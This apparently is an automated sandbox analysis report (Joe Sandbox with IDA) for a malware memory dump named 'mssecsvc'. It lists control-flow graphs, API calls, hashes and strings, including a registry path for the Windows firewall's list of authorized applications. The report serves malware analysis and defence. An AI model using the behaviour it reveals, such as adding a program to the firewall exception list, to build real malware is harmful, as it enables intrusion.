                                                                                          control_flow_graph 211 b03c3d-b03c59 212 b03ca9-b03cb3 call b0252f 211->212 213 b03c5b-b03c63 211->213 221 b03cb5-b03cce call b03cc2 212->221 222 b03cfb-b03d43 GetSystemDirectoryA call b03d1f 212->222 214 b03c64-b03c67 213->214 216 b03c93 214->216 217 b03c69-b03c6e 214->217 216->214 220 b03c95-b03d43 GetWindowsDirectoryA call b03d36 216->220 217->216 219 b03c70-b03c91 217->219 219->216 232 b03d45-b03dc0 GetProcAddress LoadLibraryA call b010ce call b001cb GetTickCount call b03b76 220->232 230 b03cd4-b03cdc GetProcAddress 221->230 231 b03ccf call b026d4 221->231 222->232 234 b03ce0-b03d43 call b03cf0 230->234 235 b03cde 230->235 231->230 243 b03dc2 232->243 244 b03dc8-b03dcd call b03b76 232->244 234->232 235->234 243->244 247 b03dcf-b03de6 244->247 248 b03de8-b03df8 call b063a0 call b0273c 247->248 253 b03dfa-b03dfc 248->253 254 b03dfe-b03e1a call b063a0 248->254 255 b03e1b-b03e1c 253->255 254->255 255->248 257 b03e1e-b03e24 255->257 257->247 259 b03e26-b03e30 call b0273c 257->259 262 b03e32-b03e3a call b02750 259->262 263 b03e3f-b03e78 call b0273c GetVolumeInformationA 259->263 262->263 267 b03e82-b03e88 263->267 268 b03e7a-b03e80 263->268 269 b03e91-b03e9e 267->269 270 b03e8a 267->270 268->269 271 b03ea4-b03ec3 call b03eb5 269->271 272 b03f25 269->272 270->269 278 b03ec6-b03ec8 271->278 279 b03f1c-b03f1e 271->279 274 b03f2f 272->274 276 b03f31-b03f49 CreateThread CloseHandle 274->276 277 b03f4f-b03fd1 call b03f60 call b010ce call b03f8f 274->277 276->277 292 b03fd3-b03ff8 CreateThread CloseHandle 277->292 293 b03ffa-b0400b CreateEventA 277->293 278->274 283 b03eca-b03f14 GetModuleFileNameA 278->283 279->272 281 b03f20 call b03405 279->281 281->272 283->279 292->293 294 b04012-b0402a call b037fa 293->294 297 b04031-b04044 call b03b90 294->297 298 b0402c-b0402f 294->298 304 b0404a 297->304 305 b042be-b042c5 297->305 298->297 299 b0404c-b04054 298->299 301 b04065-b0406e 299->301 302 b04056-b04063 lstrlen 299->302 312 b04074-b0407b 301->312 313 b04315-b0431b 301->313 302->301 302->302 309 b04081-b040a0 304->309 306 b04320-b04322 RtlExitUserThread 305->306 307 b042c7-b042ce 305->307 310 b042d0-b042dc SetEvent 307->310 311 b042e2-b042e9 307->311 309->305 317 b040a6-b040b9 309->317 310->311 314 b042f2-b04310 Sleep ResetEvent 311->314 315 b042eb 311->315 312->309 313->294 314->294 315->314 319 b042b7 317->319 320 b040bf-b0416e call b0273c call b02750 GetVersionExA call b02750 call b03358 call b04178 317->320 319->305 331 b04170 320->331 332 b04195-b041a5 call b03358 320->332 334 b04192-b04194 331->334 335 b04172-b0418c 331->335 337 b041c3-b041ca 332->337 338 b041a7-b041bd CreateThread CloseHandle 332->338 334->332 335->334 340 b0418e 335->340 341 b041d0-b041eb 337->341 338->337 340->334 343 b04210-b04214 341->343 344 b041ed-b041f4 341->344 343->319 346 b0421a-b0421c 343->346 344->343 345 b041f6-b04207 GetTickCount 344->345 345->343 347 b04209 345->347 348 b0421e-b04236 346->348 347->343 349 b04238 348->349 350 b0423b-b04243 348->350 349->350 350->348 351 b04245 350->351 352 b0424b-b0424f 351->352 353 b04261-b04263 352->353 354 b04251-b04258 call b02f08 352->354 356 b04265-b0426f 353->356 354->319 360 b0425a 354->360 357 b04274-b04282 call b06541 call b0655b 356->357 357->341 365 b04288-b04292 Sleep 357->365 360->356 362 b0425c-b0425f 360->362 362->352 365->357 366 b04294-b042a5 GetTickCount 365->366 366->341 367 b042ab-b042b2 366->367 367->319 367->341
                                                                                          APIs
                                                                                          • GetWindowsDirectoryA.KERNEL32(00B06AA2,00000104), ref: 00B03CA1
                                                                                          • GetProcAddress.KERNEL32(00000000,00000002), ref: 00B03CD4
                                                                                          • GetProcAddress.KERNEL32(00000000,00B03D41), ref: 00B03D4C
                                                                                          • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B03D5F
                                                                                          • GetTickCount.KERNEL32 ref: 00B03D93
                                                                                          • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B06EF6,00000000,00000000,00000000,00000000), ref: 00B03E65
                                                                                          • GetModuleFileNameA.KERNEL32(00000000,00B06AA2,000000C8), ref: 00B03EE2
                                                                                          Strings
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B03F0C
                                                                                          • ADVAPI32.DLL, xrefs: 00B03D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressProc$CountDirectoryFileInformationLibraryLoadModuleNameTickVolumeWindows
                                                                                          • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 1749273276-2287716718
                                                                                          • Opcode ID: f516923bb6111dac5ea2ce27cbf4c730b644d8035d3db586d383e9b78a19a3eb
                                                                                          • Instruction ID: 30f6b726b2dc0a9ec4678c08a5921c73451881e265310739d5db59524fc70b09
                                                                                          • Opcode Fuzzy Hash: f516923bb6111dac5ea2ce27cbf4c730b644d8035d3db586d383e9b78a19a3eb
                                                                                          • Instruction Fuzzy Hash: 0102E0B1518258BFEB21AF248C4EBEA7FECEF41700F004599E9499E0C2D7F05F4586A6
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03CC2 Relevance: 31.9, APIs: 16, Strings: 2, Instructions: 432libraryloaderCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 368 b03cc2-b03cca GetModuleHandleA 369 b03ce0-b03dc0 call b03cf0 GetProcAddress LoadLibraryA call b010ce call b001cb GetTickCount call b03b76 368->369 370 b03ccc-b03cdc call b026d4 GetProcAddress 368->370 383 b03dc2 369->383 384 b03dc8-b03dcd call b03b76 369->384 370->369 375 b03cde 370->375 375->369 383->384 387 b03dcf-b03de6 384->387 388 b03de8-b03df8 call b063a0 call b0273c 387->388 393 b03dfa-b03dfc 388->393 394 b03dfe-b03e1a call b063a0 388->394 395 b03e1b-b03e1c 393->395 394->395 395->388 397 b03e1e-b03e24 395->397 397->387 399 b03e26-b03e30 call b0273c 397->399 402 b03e32-b03e3a call b02750 399->402 403 b03e3f-b03e78 call b0273c GetVolumeInformationA 399->403 402->403 407 b03e82-b03e88 403->407 408 b03e7a-b03e80 403->408 409 b03e91-b03e9e 407->409 410 b03e8a 407->410 408->409 411 b03ea4-b03ec3 call b03eb5 409->411 412 b03f25 409->412 410->409 418 b03ec6-b03ec8 411->418 419 b03f1c-b03f1e 411->419 414 b03f2f 412->414 416 b03f31-b03f49 CreateThread CloseHandle 414->416 417 b03f4f-b03fd1 call b03f60 call b010ce call b03f8f 414->417 416->417 432 b03fd3-b03ff8 CreateThread CloseHandle 417->432 433 b03ffa-b0400b CreateEventA 417->433 418->414 423 b03eca-b03f14 GetModuleFileNameA 418->423 419->412 421 b03f20 call b03405 419->421 421->412 423->419 432->433 434 b04012-b0402a call b037fa 433->434 437 b04031-b04044 call b03b90 434->437 438 b0402c-b0402f 434->438 444 b0404a 437->444 445 b042be-b042c5 437->445 438->437 439 b0404c-b04054 438->439 441 b04065-b0406e 439->441 442 b04056-b04063 lstrlen 439->442 452 b04074-b0407b 441->452 453 b04315-b0431b 441->453 442->441 442->442 449 b04081-b040a0 444->449 446 b04320-b04322 RtlExitUserThread 445->446 447 b042c7-b042ce 445->447 450 b042d0-b042dc SetEvent 447->450 451 b042e2-b042e9 447->451 449->445 457 b040a6-b040b9 449->457 450->451 454 b042f2-b04310 Sleep ResetEvent 451->454 455 b042eb 451->455 452->449 453->434 454->434 455->454 459 b042b7 457->459 460 b040bf-b0416e call b0273c call b02750 GetVersionExA call b02750 call b03358 call b04178 457->460 459->445 471 b04170 460->471 472 b04195-b041a5 call b03358 460->472 474 b04192-b04194 471->474 475 b04172-b0418c 471->475 477 b041c3-b041ca 472->477 478 b041a7-b041bd CreateThread CloseHandle 472->478 474->472 475->474 480 b0418e 475->480 481 b041d0-b041eb 477->481 478->477 480->474 483 b04210-b04214 481->483 484 b041ed-b041f4 481->484 483->459 486 b0421a-b0421c 483->486 484->483 485 b041f6-b04207 GetTickCount 484->485 485->483 487 b04209 485->487 488 b0421e-b04236 486->488 487->483 489 b04238 488->489 490 b0423b-b04243 488->490 489->490 490->488 491 b04245 490->491 492 b0424b-b0424f 491->492 493 b04261-b04263 492->493 494 b04251-b04258 call b02f08 492->494 496 b04265-b0426f 493->496 494->459 500 b0425a 494->500 497 b04274-b04282 call b06541 call b0655b 496->497 497->481 505 b04288-b04292 Sleep 497->505 500->496 502 b0425c-b0425f 500->502 502->492 505->497 506 b04294-b042a5 GetTickCount 505->506 506->481 507 b042ab-b042b2 506->507 507->459 507->481
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(00B03CBA), ref: 00B03CC2
                                                                                          • GetProcAddress.KERNEL32(00000000,00000002), ref: 00B03CD4
                                                                                          • GetProcAddress.KERNEL32(00000000,00B03D41), ref: 00B03D4C
                                                                                          • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B03D5F
                                                                                          • GetTickCount.KERNEL32 ref: 00B03D93
                                                                                          Strings
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B03F0C
                                                                                          • ADVAPI32.DLL, xrefs: 00B03D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                                                                                          • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 2837544101-2287716718
                                                                                          • Opcode ID: 5b48797bfded511fe3541d43c5fd4cc9561b065424dfc698fabc9acd851576a7
                                                                                          • Instruction ID: 378d54b43414769907a859e61919a057c710afa5f578910c5255a9ff75fbbc65
                                                                                          • Opcode Fuzzy Hash: 5b48797bfded511fe3541d43c5fd4cc9561b065424dfc698fabc9acd851576a7
                                                                                          • Instruction Fuzzy Hash: 4AE10FB1518258BFEB25AF248C4EBEA7FECEF41700F004599E9499E0C2D7F45F4586A1
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03CF0 Relevance: 31.9, APIs: 16, Strings: 2, Instructions: 409COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 508 b03cf0-b03dc0 GetModuleHandleA call b026d4 GetSystemDirectoryA call b03d1f GetProcAddress LoadLibraryA call b010ce call b001cb GetTickCount call b03b76 520 b03dc2 508->520 521 b03dc8-b03dcd call b03b76 508->521 520->521 524 b03dcf-b03de6 521->524 525 b03de8-b03df8 call b063a0 call b0273c 524->525 530 b03dfa-b03dfc 525->530 531 b03dfe-b03e1a call b063a0 525->531 532 b03e1b-b03e1c 530->532 531->532 532->525 534 b03e1e-b03e24 532->534 534->524 536 b03e26-b03e30 call b0273c 534->536 539 b03e32-b03e3a call b02750 536->539 540 b03e3f-b03e78 call b0273c GetVolumeInformationA 536->540 539->540 544 b03e82-b03e88 540->544 545 b03e7a-b03e80 540->545 546 b03e91-b03e9e 544->546 547 b03e8a 544->547 545->546 548 b03ea4-b03ec3 call b03eb5 546->548 549 b03f25 546->549 547->546 555 b03ec6-b03ec8 548->555 556 b03f1c-b03f1e 548->556 551 b03f2f 549->551 553 b03f31-b03f49 CreateThread CloseHandle 551->553 554 b03f4f-b03fd1 call b03f60 call b010ce call b03f8f 551->554 553->554 569 b03fd3-b03ff8 CreateThread CloseHandle 554->569 570 b03ffa-b0400b CreateEventA 554->570 555->551 560 b03eca-b03f14 GetModuleFileNameA 555->560 556->549 558 b03f20 call b03405 556->558 558->549 560->556 569->570 571 b04012-b0402a call b037fa 570->571 574 b04031-b04044 call b03b90 571->574 575 b0402c-b0402f 571->575 581 b0404a 574->581 582 b042be-b042c5 574->582 575->574 576 b0404c-b04054 575->576 578 b04065-b0406e 576->578 579 b04056-b04063 lstrlen 576->579 589 b04074-b0407b 578->589 590 b04315-b0431b 578->590 579->578 579->579 586 b04081-b040a0 581->586 583 b04320-b04322 RtlExitUserThread 582->583 584 b042c7-b042ce 582->584 587 b042d0-b042dc SetEvent 584->587 588 b042e2-b042e9 584->588 586->582 594 b040a6-b040b9 586->594 587->588 591 b042f2-b04310 Sleep ResetEvent 588->591 592 b042eb 588->592 589->586 590->571 591->571 592->591 596 b042b7 594->596 597 b040bf-b0416e call b0273c call b02750 GetVersionExA call b02750 call b03358 call b04178 594->597 596->582 608 b04170 597->608 609 b04195-b041a5 call b03358 597->609 611 b04192-b04194 608->611 612 b04172-b0418c 608->612 614 b041c3-b041ca 609->614 615 b041a7-b041bd CreateThread CloseHandle 609->615 611->609 612->611 617 b0418e 612->617 618 b041d0-b041eb 614->618 615->614 617->611 620 b04210-b04214 618->620 621 b041ed-b041f4 618->621 620->596 623 b0421a-b0421c 620->623 621->620 622 b041f6-b04207 GetTickCount 621->622 622->620 624 b04209 622->624 625 b0421e-b04236 623->625 624->620 626 b04238 625->626 627 b0423b-b04243 625->627 626->627 627->625 628 b04245 627->628 629 b0424b-b0424f 628->629 630 b04261-b04263 629->630 631 b04251-b04258 call b02f08 629->631 633 b04265-b0426f 630->633 631->596 637 b0425a 631->637 634 b04274-b04282 call b06541 call b0655b 633->634 634->618 642 b04288-b04292 Sleep 634->642 637->633 639 b0425c-b0425f 637->639 639->629 642->634 643 b04294-b042a5 GetTickCount 642->643 643->618 644 b042ab-b042b2 643->644 644->596 644->618
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(00B03CE5), ref: 00B03CF0
                                                                                          • GetSystemDirectoryA.KERNEL32(00B06AA2,00000104), ref: 00B03D07
                                                                                            • Part of subcall function 00B03D1F: lstrcat.KERNEL32(00B06AA2,00B03D12), ref: 00B03D20
                                                                                            • Part of subcall function 00B03D1F: GetProcAddress.KERNEL32(00000000,00B03D41), ref: 00B03D4C
                                                                                            • Part of subcall function 00B03D1F: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B03D5F
                                                                                            • Part of subcall function 00B03D1F: GetTickCount.KERNEL32 ref: 00B03D93
                                                                                            • Part of subcall function 00B03D1F: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B06EF6,00000000,00000000,00000000,00000000), ref: 00B03E65
                                                                                          Strings
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B03F0C
                                                                                          • ADVAPI32.DLL, xrefs: 00B03D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                                                                                          • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 215653160-2287716718
                                                                                          • Opcode ID: 260c0d83971146764b612a54da98fff840ddc31a6bb3a69eed28180f54add843
                                                                                          • Instruction ID: 1aecaced767be6aae0fa585a575e6189f678f80356d3b31df001922be16858ca
                                                                                          • Opcode Fuzzy Hash: 260c0d83971146764b612a54da98fff840ddc31a6bb3a69eed28180f54add843
                                                                                          • Instruction Fuzzy Hash: 29E1DEB1518248BFEB25AF248C4EBEA7FECEF41700F004699E9499E0C2D7F45F4586A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03D1F Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 389stringCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 645 b03d1f-b03dc0 lstrcat call b03d36 GetProcAddress LoadLibraryA call b010ce call b001cb GetTickCount call b03b76 656 b03dc2 645->656 657 b03dc8-b03dcd call b03b76 645->657 656->657 660 b03dcf-b03de6 657->660 661 b03de8-b03df8 call b063a0 call b0273c 660->661 666 b03dfa-b03dfc 661->666 667 b03dfe-b03e1a call b063a0 661->667 668 b03e1b-b03e1c 666->668 667->668 668->661 670 b03e1e-b03e24 668->670 670->660 672 b03e26-b03e30 call b0273c 670->672 675 b03e32-b03e3a call b02750 672->675 676 b03e3f-b03e78 call b0273c GetVolumeInformationA 672->676 675->676 680 b03e82-b03e88 676->680 681 b03e7a-b03e80 676->681 682 b03e91-b03e9e 680->682 683 b03e8a 680->683 681->682 684 b03ea4-b03ec3 call b03eb5 682->684 685 b03f25 682->685 683->682 691 b03ec6-b03ec8 684->691 692 b03f1c-b03f1e 684->692 687 b03f2f 685->687 689 b03f31-b03f49 CreateThread CloseHandle 687->689 690 b03f4f-b03fd1 call b03f60 call b010ce call b03f8f 687->690 689->690 705 b03fd3-b03ff8 CreateThread CloseHandle 690->705 706 b03ffa-b0400b CreateEventA 690->706 691->687 696 b03eca-b03f14 GetModuleFileNameA 691->696 692->685 694 b03f20 call b03405 692->694 694->685 696->692 705->706 707 b04012-b0402a call b037fa 706->707 710 b04031-b04044 call b03b90 707->710 711 b0402c-b0402f 707->711 717 b0404a 710->717 718 b042be-b042c5 710->718 711->710 712 b0404c-b04054 711->712 714 b04065-b0406e 712->714 715 b04056-b04063 lstrlen 712->715 725 b04074-b0407b 714->725 726 b04315-b0431b 714->726 715->714 715->715 722 b04081-b040a0 717->722 719 b04320-b04322 RtlExitUserThread 718->719 720 b042c7-b042ce 718->720 723 b042d0-b042dc SetEvent 720->723 724 b042e2-b042e9 720->724 722->718 730 b040a6-b040b9 722->730 723->724 727 b042f2-b04310 Sleep ResetEvent 724->727 728 b042eb 724->728 725->722 726->707 727->707 728->727 732 b042b7 730->732 733 b040bf-b0416e call b0273c call b02750 GetVersionExA call b02750 call b03358 call b04178 730->733 732->718 744 b04170 733->744 745 b04195-b041a5 call b03358 733->745 747 b04192-b04194 744->747 748 b04172-b0418c 744->748 750 b041c3-b041ca 745->750 751 b041a7-b041bd CreateThread CloseHandle 745->751 747->745 748->747 753 b0418e 748->753 754 b041d0-b041eb 750->754 751->750 753->747 756 b04210-b04214 754->756 757 b041ed-b041f4 754->757 756->732 759 b0421a-b0421c 756->759 757->756 758 b041f6-b04207 GetTickCount 757->758 758->756 760 b04209 758->760 761 b0421e-b04236 759->761 760->756 762 b04238 761->762 763 b0423b-b04243 761->763 762->763 763->761 764 b04245 763->764 765 b0424b-b0424f 764->765 766 b04261-b04263 765->766 767 b04251-b04258 call b02f08 765->767 769 b04265-b0426f 766->769 767->732 773 b0425a 767->773 770 b04274-b04282 call b06541 call b0655b 769->770 770->754 778 b04288-b04292 Sleep 770->778 773->769 775 b0425c-b0425f 773->775 775->765 778->770 779 b04294-b042a5 GetTickCount 778->779 779->754 780 b042ab-b042b2 779->780 780->732 780->754
                                                                                          APIs
                                                                                          • lstrcat.KERNEL32(00B06AA2,00B03D12), ref: 00B03D20
                                                                                            • Part of subcall function 00B03D36: LoadLibraryA.KERNEL32(00B03D2B), ref: 00B03D36
                                                                                            • Part of subcall function 00B03D36: GetProcAddress.KERNEL32(00000000,00B03D41), ref: 00B03D4C
                                                                                            • Part of subcall function 00B03D36: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B03D5F
                                                                                            • Part of subcall function 00B03D36: GetTickCount.KERNEL32 ref: 00B03D93
                                                                                            • Part of subcall function 00B03D36: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B06EF6,00000000,00000000,00000000,00000000), ref: 00B03E65
                                                                                          Strings
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B03F0C
                                                                                          • ADVAPI32.DLL, xrefs: 00B03D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                                                                                          • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 2038497427-2287716718
                                                                                          • Opcode ID: 9a3d42354aede4d92b231a7e1a08d8f1ff67a071c39a48690dfdf21ca6a4930c
                                                                                          • Instruction ID: a933d1db4e2ffdd305746e8e437b22a3839cd693654d799fb68303d6e4dd10f7
                                                                                          • Opcode Fuzzy Hash: 9a3d42354aede4d92b231a7e1a08d8f1ff67a071c39a48690dfdf21ca6a4930c
                                                                                          • Instruction Fuzzy Hash: 90E1EDB1518248BEEB25AF248C4EBEA3FECEF41700F004699E9499E0C2D7F45F4586A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03D36 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 379libraryCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 781 b03d36-b03dc0 LoadLibraryA call b03d4b GetProcAddress LoadLibraryA call b010ce call b001cb GetTickCount call b03b76 792 b03dc2 781->792 793 b03dc8-b03dcd call b03b76 781->793 792->793 796 b03dcf-b03de6 793->796 797 b03de8-b03df8 call b063a0 call b0273c 796->797 802 b03dfa-b03dfc 797->802 803 b03dfe-b03e1a call b063a0 797->803 804 b03e1b-b03e1c 802->804 803->804 804->797 806 b03e1e-b03e24 804->806 806->796 808 b03e26-b03e30 call b0273c 806->808 811 b03e32-b03e3a call b02750 808->811 812 b03e3f-b03e78 call b0273c GetVolumeInformationA 808->812 811->812 816 b03e82-b03e88 812->816 817 b03e7a-b03e80 812->817 818 b03e91-b03e9e 816->818 819 b03e8a 816->819 817->818 820 b03ea4-b03ec3 call b03eb5 818->820 821 b03f25 818->821 819->818 827 b03ec6-b03ec8 820->827 828 b03f1c-b03f1e 820->828 823 b03f2f 821->823 825 b03f31-b03f49 CreateThread CloseHandle 823->825 826 b03f4f-b03fd1 call b03f60 call b010ce call b03f8f 823->826 825->826 841 b03fd3-b03ff8 CreateThread CloseHandle 826->841 842 b03ffa-b0400b CreateEventA 826->842 827->823 832 b03eca-b03f14 GetModuleFileNameA 827->832 828->821 830 b03f20 call b03405 828->830 830->821 832->828 841->842 843 b04012-b0402a call b037fa 842->843 846 b04031-b04044 call b03b90 843->846 847 b0402c-b0402f 843->847 853 b0404a 846->853 854 b042be-b042c5 846->854 847->846 848 b0404c-b04054 847->848 850 b04065-b0406e 848->850 851 b04056-b04063 lstrlen 848->851 861 b04074-b0407b 850->861 862 b04315-b0431b 850->862 851->850 851->851 858 b04081-b040a0 853->858 855 b04320-b04322 RtlExitUserThread 854->855 856 b042c7-b042ce 854->856 859 b042d0-b042dc SetEvent 856->859 860 b042e2-b042e9 856->860 858->854 866 b040a6-b040b9 858->866 859->860 863 b042f2-b04310 Sleep ResetEvent 860->863 864 b042eb 860->864 861->858 862->843 863->843 864->863 868 b042b7 866->868 869 b040bf-b0416e call b0273c call b02750 GetVersionExA call b02750 call b03358 call b04178 866->869 868->854 880 b04170 869->880 881 b04195-b041a5 call b03358 869->881 883 b04192-b04194 880->883 884 b04172-b0418c 880->884 886 b041c3-b041ca 881->886 887 b041a7-b041bd CreateThread CloseHandle 881->887 883->881 884->883 889 b0418e 884->889 890 b041d0-b041eb 886->890 887->886 889->883 892 b04210-b04214 890->892 893 b041ed-b041f4 890->893 892->868 895 b0421a-b0421c 892->895 893->892 894 b041f6-b04207 GetTickCount 893->894 894->892 896 b04209 894->896 897 b0421e-b04236 895->897 896->892 898 b04238 897->898 899 b0423b-b04243 897->899 898->899 899->897 900 b04245 899->900 901 b0424b-b0424f 900->901 902 b04261-b04263 901->902 903 b04251-b04258 call b02f08 901->903 905 b04265-b0426f 902->905 903->868 909 b0425a 903->909 906 b04274-b04282 call b06541 call b0655b 905->906 906->890 914 b04288-b04292 Sleep 906->914 909->905 911 b0425c-b0425f 909->911 911->901 914->906 915 b04294-b042a5 GetTickCount 914->915 915->890 916 b042ab-b042b2 915->916 916->868 916->890
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(00B03D2B), ref: 00B03D36
                                                                                            • Part of subcall function 00B03D4B: GetProcAddress.KERNEL32(00000000,00B03D41), ref: 00B03D4C
                                                                                            • Part of subcall function 00B03D4B: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00B03D5F
                                                                                            • Part of subcall function 00B03D4B: GetTickCount.KERNEL32 ref: 00B03D93
                                                                                            • Part of subcall function 00B03D4B: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00B06EF6,00000000,00000000,00000000,00000000), ref: 00B03E65
                                                                                          Strings
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00B03F0C
                                                                                          • ADVAPI32.DLL, xrefs: 00B03D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B00000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_10_2_b00000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                                                                                          • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 3734769084-2287716718
                                                                                          • Opcode ID: fe378de023044d5e93c1fdb9f401057012e9a432939cf19daad1b95bd79d3ac1
                                                                                          • Instruction ID: 4383889754621d187e23d11e909353867082635ea86425ecb227d76a4b595811
                                                                                          • Opcode Fuzzy Hash: fe378de023044d5e93c1fdb9f401057012e9a432939cf19daad1b95bd79d3ac1
                                                                                          • Instruction Fuzzy Hash: D9D1DCB1518249BEEB25AF248C4EBEA7FECEF41700F000699E9499E0C2D7F45F4587A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00B03D4B Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 386librarythreadsleepCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 917 b03d4b-b03d72 GetProcAddress LoadLibraryA 918 b03d7d-b03dc0 call b001cb GetTickCount call b03b76 917->918 919 b03d78 call b010ce 917->919 924 b03dc2 918->924 925 b03dc8-b03dcd call b03b76 918->925 919->918 924->925 928 b03dcf-b03de6 925->928 929 b03de8-b03df8 call b063a0 call b0273c 928->929 934 b03dfa-b03dfc 929->934 935 b03dfe-b03e1a call b063a0 929->935 936 b03e1b-b03e1c 934->936 935->936 936->929 938 b03e1e-b03e24 936->938 938->928 940 b03e26-b03e30 call b0273c 938->940 943 b03e32-b03e3a call b02750 940->943 944 b03e3f-b03e78 call b0273c GetVolumeInformationA 940->944 943->944 948 b03e82-b03e88 944->948 949 b03e7a-b03e80 944->949 950 b03e91-b03e9e 948->950 951 b03e8a 948->951 949->950 952 b03ea4-b03ec3 call b03eb5 950->952 953 b03f25 950->953 951->950 959 b03ec6-b03ec8 952->959 960 b03f1c-b03f1e 952->960 955 b03f2f 953->955 957 b03f31-b03f49 CreateThread CloseHandle 955->957 958 b03f4f-b03fd1 call b03f60 call b010ce call b03f8f 955->958 957->958 973 b03fd3-b03ff8 CreateThread CloseHandle 958->973 974 b03ffa-b0400b CreateEventA 958->974 959->955 964 b03eca-b03f14 GetModuleFileNameA 959->964 960->953 962 b03f20 call b03405 960->962 962->953 964->960 973->974 975 b04012-b0402a call b037fa 974->975 978 b04031-b04044 call b03b90 975->978 979 b0402c-b0402f 975->979 985 b0404a 978->985 986 b042be-b042c5 978->986 979->978 980 b0404c-b04054 979->980 982 b04065-b0406e 980->982 983 b04056-b04063 lstrlen 980->983 993 b04074-b0407b 982->993 994 b04315-b0431b 982->994 983->982 983->983 990 b04081-b040a0 985->990 987 b04320-b04322 RtlExitUserThread 986->987 988 b042c7-b042ce 986->988 991 b042d0-b042dc SetEvent 988->991 992 b042e2-b042e9 988->992 990->986 998 b040a6-b040b9 990->998 